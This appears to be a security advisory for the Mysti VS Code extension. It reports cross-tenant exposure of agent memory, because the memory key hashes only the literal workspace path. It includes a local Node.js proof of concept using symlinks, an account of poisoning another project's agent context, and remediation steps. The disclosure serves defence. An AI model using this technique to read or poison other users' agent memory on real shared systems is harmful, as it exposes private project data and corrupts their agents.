| Beschreibung | ## Vulnerability Title
Cross-Tenant Data Exposure via Hash-Key Confusion in Project Auto-Memory
## Affected Component
`src/managers/MemoryManager.ts`
Repository: https://github.com/DeepMyst/Mysti
## Summary
An attacker with the ability to reuse or influence a shared lexical workspace path in a shared `$HOME` environment can craft two non-equivalent workspace identities that produce the same project-memory key. This causes memory-key reuse, leading to another real project's `MEMORY.md` being loaded into the attacker's agent context, exposing sensitive cross-tenant data.
## Technical Details
The vulnerability occurs because `MemoryManager` computes a project-memory key over the literal `workspacePath` string and uses the resulting truncated digest as the filesystem namespace for persisted agent memory. The digest does not include critical security-relevant fields needed to identify the real workspace or trust domain.
**Where the Hash is Computed**
In `src/managers/MemoryManager.ts`, the hash is derived solely from the lexical path of the workspace and truncated to 12 characters:
```ts
initProjectMemory(workspacePath: string): void {
const hash = crypto.createHash('sha256').update(workspacePath).digest('hex').substring(0, 12);
const homeDir = process.env.HOME || process.env.USERPROFILE || '';
this._projectMemoryDir = path.join(homeDir, '.mysti', 'projects', hash, 'memory');
// ...
```
The workspace path comes directly from VS Code's first workspace folder (`vscode.workspace.workspaceFolders[0].uri.fsPath`).
**Why Hash Equality Does Not Imply Security Equivalence**
The digest completely excludes the canonical real workspace path, symlink/bind-mount target identities, application-level `user_id`, or tenant identity.
For example, `/work/current` may be a symlink. At one time it may resolve to Alice's private project, and later to Bob's project. Both sessions hash the exact same literal string (`/work/current`) and reuse the exact same memory namespace (`~/.mysti/projects/<hash>/memory`), even though the real workspaces and users are completely different.
**How the Attacker Constructs a Conflicting Object**
Victim workspace object:
```json
{
"workspacePath": "/work/current",
"canonical_workspace_path": "/srv/users/alice/payment-service",
"user_id": "alice",
"memory": "VICTIM_ONLY_MEMORY: alice payment-service deploy host is pay-int-01"
}
```
Attacker workspace object:
```json
{
"workspacePath": "/work/current",
"canonical_workspace_path": "/srv/users/bob/attacker-repo",
"user_id": "bob",
"memory": "attacker session"
}
```
Both objects produce the same application-level key: `sha256("/work/current").substring(0, 12)`. They are not security-equivalent because the canonical workspace path and user contexts differ.
## Impact
This vulnerability allows attackers to:
- Load another real project's persisted `MEMORY.md` into their agent context in shared path/shared `$HOME` environments (e.g., dev containers, CI workers, shared system accounts).
- Expose sensitive project memory such as internal paths, service names, deployment notes, architecture summaries, and team conventions.
- Poison future agent context by writing memory under a key later reused by another project.
## Proof of Concept
The PoC script below proves the broken security invariant: two non-equivalent real workspaces share the same project-memory key because the key is derived only from the same lexical `workspacePath`.
```javascript
#!/usr/bin/env node
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'mysti-memory-poc-'));
const sharedHome = path.join(tmp, 'shared-home');
const victimRealProject = path.join(tmp, 'srv', 'users', 'alice', 'repo');
const attackerRealProject = path.join(tmp, 'srv', 'users', 'bob', 'repo');
const workDir = path.join(tmp, 'work');
const lexicalWorkspacePath = path.join(workDir, 'current');
fs.mkdirSync(sharedHome, { recursive: true });
fs.mkdirSync(victimRealProject, { recursive: true });
fs.mkdirSync(attackerRealProject, { recursive: true });
fs.mkdirSync(workDir, { recursive: true });
function projectMemoryPath(workspacePath) {
const hash = crypto.createHash('sha256').update(workspacePath).digest('hex').substring(0, 12);
return path.join(sharedHome, '.mysti', 'projects', hash, 'memory', 'MEMORY.md');
}
try {
// 1. Victim uses the shared lexical path
fs.symlinkSync(victimRealProject, lexicalWorkspacePath, 'dir');
const victimMemoryPath = projectMemoryPath(lexicalWorkspacePath);
fs.mkdirSync(path.dirname(victimMemoryPath), { recursive: true });
fs.writeFileSync(
victimMemoryPath,
'# Mysti Project Memory\n\n- VICTIM_ONLY_MEMORY: alice payment-service deploy host is pay-int-01\n'
);
// 2. Attacker uses the same shared lexical path
fs.unlinkSync(lexicalWorkspacePath);
fs.symlinkSync(attackerRealProject, lexicalWorkspacePath, 'dir');
const attackerMemoryPath = projectMemoryPath(lexicalWorkspacePath);
// 3. Attacker loads the memory
const attackerObserved = fs.readFileSync(attackerMemoryPath, 'utf8');
console.log(JSON.stringify({
sameMemoryPath: victimMemoryPath === attackerMemoryPath,
attackerLoadedVictimMemory: attackerObserved.includes('VICTIM_ONLY_MEMORY')
}, null, 2));
} finally {
fs.rmSync(tmp, { recursive: true, force: true });
}
```
*Observed execution output confirms `"attackerLoadedVictimMemory": true`.*
## Remediation
Fix the project-memory identity construction in `src/managers/MemoryManager.ts` by canonicalizing the workspace identity and including explicit namespace/schema definitions.
Example implementation direction:
```ts
// Canonicalize the workspace identity and include security-relevant namespace fields
const canonicalWorkspacePath = fs.realpathSync.native(workspacePath);
const payload = JSON.stringify({
schema: 'mysti-project-memory-v2',
userId: resolvedUserOrTenantId,
canonicalWorkspacePath,
});
const hash = crypto.createHash('sha256').update(payload).digest('hex');
```
Additional mitigations:
1. Complete Field Coverage: Include fields relevant to user, tenant, remote workspace authority, canonical path, and memory schema.
2. Read-Time Revalidation: Store metadata beside `MEMORY.md` and verify that the current canonical workspace identity matches before loading memory into the context.
3. Avoid Truncation: Do not aggressively truncate digests used for persisted security-sensitive object identity (e.g., use the full SHA-256 hash).
4. State Invalidation: Migrate or clear existing `~/.mysti/projects/<hash>/memory` entries generated by affected versions.
## References
- Vulnerable memory-key construction: `https://github.com/DeepMyst/Mysti/blob/bce0d2ba7904c056c576cf94db817635421d1f41/src/managers/MemoryManager.ts#L284-L288`
- Project memory loading and writing: `https://github.com/DeepMyst/Mysti/blob/bce0d2ba7904c056c576cf94db817635421d1f41/src/managers/MemoryManager.ts#L297-L325`
- Auto-memory prompt injection sink: `https://github.com/DeepMyst/Mysti/blob/bce0d2ba7904c056c576cf94db817635421d1f41/src/providers/ChatViewProvider.ts#L2642-L2645`
- Workspace initialization path: `https://github.com/DeepMyst/Mysti/blob/bce0d2ba7904c056c576cf94db817635421d1f41/src/extension.ts#L85-L90` |
|---|